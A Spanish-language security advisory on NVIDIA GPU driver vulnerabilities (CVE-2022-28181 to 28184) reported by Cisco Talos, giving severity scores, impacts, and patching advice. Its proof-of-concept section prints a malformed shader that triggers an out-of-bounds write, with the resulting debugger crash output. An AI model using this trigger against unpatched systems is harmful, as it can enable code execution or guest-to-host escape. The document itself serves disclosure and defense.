NVIDIA ha lanzado una actualización de seguridad para una amplia gama de modelos de tarjetas gráficas, que aborda cuatro vulnerabilidades de gravedad alta y seis de gravedad media en sus controladores de GPU. La actualización de seguridad corrige vulnerabilidades que pueden provocar denegación de servicio, divulgación de información, elevación de privilegios, ejecución de código, etc. Estas actualizaciones están disponibles para los productos de software Tesla, RTX/Quadro, NVS, Studio y GeForce, y cubren las ramas de controladores R450, R470 y R510.
Impacto de la vulnerabilidad
Cisco Talos descubrió recientemente cuatro vulnerabilidades en el controlador NVIDIA D3D10 para tarjetas gráficas que podrían permitir que un atacante corrompa la memoria y escriba memoria arbitraria en la tarjeta. Un atacante podría explotar estas vulnerabilidades enviando al objetivo un archivo ejecutable o de sombreado especialmente diseñado. Estos problemas también podrían permitir que un adversario realice un escape de invitado a host si se dirigen a una máquina invitada que ejecuta entornos de virtualización.
Estas vulnerabilidades requieren privilegios bajos y ninguna interacción del usuario, por lo que podrían incorporarse al malware, lo que permitiría a los atacantes ejecutar comandos con privilegios más altos. Las cuatro fallas de alta gravedad corregidas este mes son:
- CVE-2022-28181 (CVSS v3 score: 8.5) : Escritura fuera de los límites en la capa del modo kernel provocada por un sombreador especialmente diseñado enviado a través de la red, lo que puede conducir a la ejecución de código, denegación de servicio, aumento de privilegios, divulgación de información y manipulación de datos.
- CVE-2022-28182 (CVSS v3 score: 8.5) : Fallo en el controlador de modo de usuario de DirectX11 que permite a un atacante no autorizado enviar un archivo compartido especialmente diseñado a través de la red y causar denegación de servicio, aumento de privilegios, divulgación de información y manipulación de datos.
- CVE-2022-28183 (CVSS v3 score: 7.7) : Vulnerabilidad en la capa del modo kernel, donde un usuario normal sin privilegios puede provocar una lectura fuera de los límites, lo que puede provocar la denegación de servicio y la divulgación de información.
- CVE-2022-28184 (CVSS v3 score: 7.1) : Vulnerabilidad en el controlador de capa de modo kernel (nvlddmkm.sys) para DxgkDdiEscape, donde un usuario normal sin privilegios puede acceder a registros con privilegios de administrador, lo que puede provocar denegación de servicio, divulgación de información y manipulación de datos.
Un archivo ejecutable/shader puede provocar daños en la memoria. Esta vulnerabilidad podría activarse potencialmente desde máquinas invitadas que ejecutan entornos de virtualización, es decir, VMware, qemu, VirtualBox, etc. , para realizar un escape de invitado a host. Teóricamente, esta vulnerabilidad también podría activarse desde un navegador web usando webGL y webassembly. Los modelos de equipos DGXA100 (14) y A16(2) no se ven afectados por esta vulnerabilidad, por lo tanto , no se encuentran dentro de los modelos vulnerables.
Prueba de concepto
Los investigadores pudieron desencadenar esta vulnerabilidad desde el invitado de HYPER-V basado en el CVE-2022-28181, mediante la función RemoteFX, lo que llevó a ejecutar el código vulnerable en el host de HYPER-V (dentro del proceso rdvgm.exe). Si bien Microsoft dejó de usar RemoteFX recientemente, es posible que algunas máquinas más antiguas aún usen este software, por ejemplo, aquellas que ejecutan una versión anterior de Windows Server.
Esta vulnerabilidad se puede desencadenar al proporcionar un Sombreadores de con formato incorrecto. Esto conduce a un problema de corrupción de memoria en el controlador de NVIDIA. Al acceder al registro temporal x fuera del tamaño definido, que normalmente está definido por la instrucción dcl_indexable, que declara un registro temporal indexable, es posible provocar una escritura de memoria arbitraria.
A continuación se detalla la prueba de concepto:
Sample shader:
cs_5_0
dcl_global_flags refactoringAllowed
dcl_input vThreadGrouID.xy
dcl_input vThreadID.xy
dcl_temps 4
dcl_indexable_temp x0[32], 4
mov x0[v0.w].x, l(1.1)
Debugger output:
00007ffb`12f6cb2b 48890417 mov qword ptr [rdi+rdx],rax ds:baadf00d`0000000a=????????????????
0:012> r
rax=0000000000000000 rbx=0000000000000000 rcx=000001e3baa206c8
rdx=baadf00d0000000a rsi=000001e3baa206a8 rdi=0000000000000000
rip=00007ffb12f6cb2b rsp=0000001e96feeb20 rbp=0000000000000000
r8=000000000000000a r9=000000000000000a r10=00000000811c9dc5
r11=0000000000000001 r12=0000000000000003 r13=0000000000000004
r14=000001e3baa1a7b0 r15=0000001e96feec68
Crash information:
0:012> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for POC_EXEC11.exe
KEY_VALUES_STRING: 1
Key : AV.Fault
Value: Read
Key : Analysis.CPU.Sec
Value: 0
Key : Analysis.DebugAnalysisProvider.CPP
Value: Create: 8007007e on IAMLEGION
Key : Analysis.DebugData
Value: CreateObject
Key : Analysis.DebugModel
Value: CreateObject
Key : Analysis.Elapsed.Sec
Value: 51
Key : Analysis.Memory.CommitPeak.Mb
Value: 77
Key : Analysis.System
Value: CreateObject
Key : Timeline.OS.Boot.DeltaSec
Value: 78046
Key : Timeline.Process.Start.DeltaSec
Value: 44
NTGLOBALFLAG: 470
PROCESS_BAM_CURRENT_THROTTLED: 0
PROCESS_BAM_PREVIOUS_THROTTLED: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00002fb8
PROCESS_NAME: POC_EXEC11.exe
READ_ADDRESS: ffffffffffffffff
ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja w 0x%p odwo a a si do pami ci pod adresem 0x%p. Pami nie mo e by %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: ffffffffffffffff
SYMBOL_NAME: nvwgf2umx!NVDEV_Thunk+358eeb
MODULE_NAME: nvwgf2umx
IMAGE_NAME: nvwgf2umx.dll
STACK_COMMAND: ~12s ; .cxr ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_nvwgf2umx.dll!NVDEV_Thunk
BUCKET_ID_MODPRIVATE: 1
OS_VERSION: 10.0.19041.1
BUILDLAB_STR: vb_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {dd25751c-f187-50b1-f643-86818a26af0d}
Followup: MachineOwner
---------
Listado de IOCs
- SYMBOL_NAME: nvwgf2umx!NVDEV_Thunk+358eeb
- IMAGE_NAME: nvwgf2umx.dll
- FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_nvwgf2umx.dll!NVDEV_Thunk
- OS_VERSION: 10.0.19041.1
- FAILURE_ID_HASH: {dd25751c-f187-50b1-f643-86818a26af0d}
- PROCESS_NAME: POC_EXEC11.exe
Recomendaciones
Cisco Talos trabajó con NVIDIA para garantizar que estos problemas se resuelvan y que haya una actualización disponible para los clientes afectados, todo en cumplimiento de la política de divulgación de vulnerabilidades de Cisco.
- Se recomienda a todos los usuarios que apliquen las actualizaciones de seguridad publicadas lo antes posible.
- Los usuarios pueden descargar el último controlador para su modelo de GPU desde la sección central de descargas de NVIDIA, donde pueden seleccionar el producto específico y el sistema operativo que están utilizando.
Para mas información
- https://www.bleepingcomputer.com/news/security/nvidia-fixes-ten-vulnerabilities-in-windows-gpu-display-drivers/
- https://blog.talosintelligence.com/2022/05/vuln-spotlight-nvidia-driver-memory.html
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1435
- https://nvidia.custhelp.com/app/answers/detail/a_id/5353